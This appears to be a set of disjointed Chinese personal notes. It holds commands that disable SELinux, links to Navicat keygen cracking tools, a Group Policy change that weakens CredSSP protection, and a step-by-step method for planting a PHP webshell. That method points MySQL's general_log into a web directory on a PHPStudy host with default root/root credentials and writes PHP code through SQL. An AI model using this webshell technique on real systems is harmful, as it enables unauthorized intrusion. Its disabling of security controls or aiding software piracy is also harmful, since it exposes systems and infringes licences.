echo 0 > /sys/fs/selinux/enforce

setenforce 0

http://download3.navicat.com/download/navicat121_premium_en_x64.exe
最新版都可以注册.厉害了.
注册机在这里:
https://github.com/Deltafox79/Navicat_Keygen/releases

命令行版:
https://github.com/DoubleLabyrinth/navicat-keygen/blob/windows/README.zh-CN.md

各种选项一定要填对啊.我有一次因为语言选错了.就死活不成功.

今天突然发现谷歌拼音输入法PC版的网页消失了。
贴个URL纪念一下。
http://www.google.com/intl/zh-CN/ime/pinyin/

最近的一个版本下载。
http://dl.google.com/pinyin/v2/GooglePinyinInstaller.exe
2.7.25.128 2014年的版本

组策略，然后选择计算机配置>管理模板>系统>凭据分配>加密Oracle修正(Encryption Oracle Remediation)
改成易受攻击(vulnerable)

其实不是什么新技术,记录下来.
PHPStudy环境.内网.root/root默认密码.
想当然的.就先用select XX into outfile XXXX
但是由于phpstudy开启了secure-file-priv导致无法outfile.

群里问了下,可以通过日志general_log的方式.默认是是OFF的
SHOW VARIABLES LIKE 'general%'
使用这个命令查询,然后执行下面的命令:

set global general_log = "ON";
set global general_log_file='D:\phpStudy\phpMyAdmin\xxx.php';

这样日志就写到web目录了.

后面,查询一下.结果,卡住了.不知道为什么.
select version()都可以执行,都可以写入php的log文件.
后来尝试phpmyadmin新建一个字段,直接插入一句话shell,这里执行的应该是insert语句.

CREATE TABLE IF NOT EXISTS `webshell` ( `shell` varchar(100) NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `webshell` (`shell`) VALUES ('<?php echo "test by kele";phpinfo();?>');

这样日志里面就有webshell了.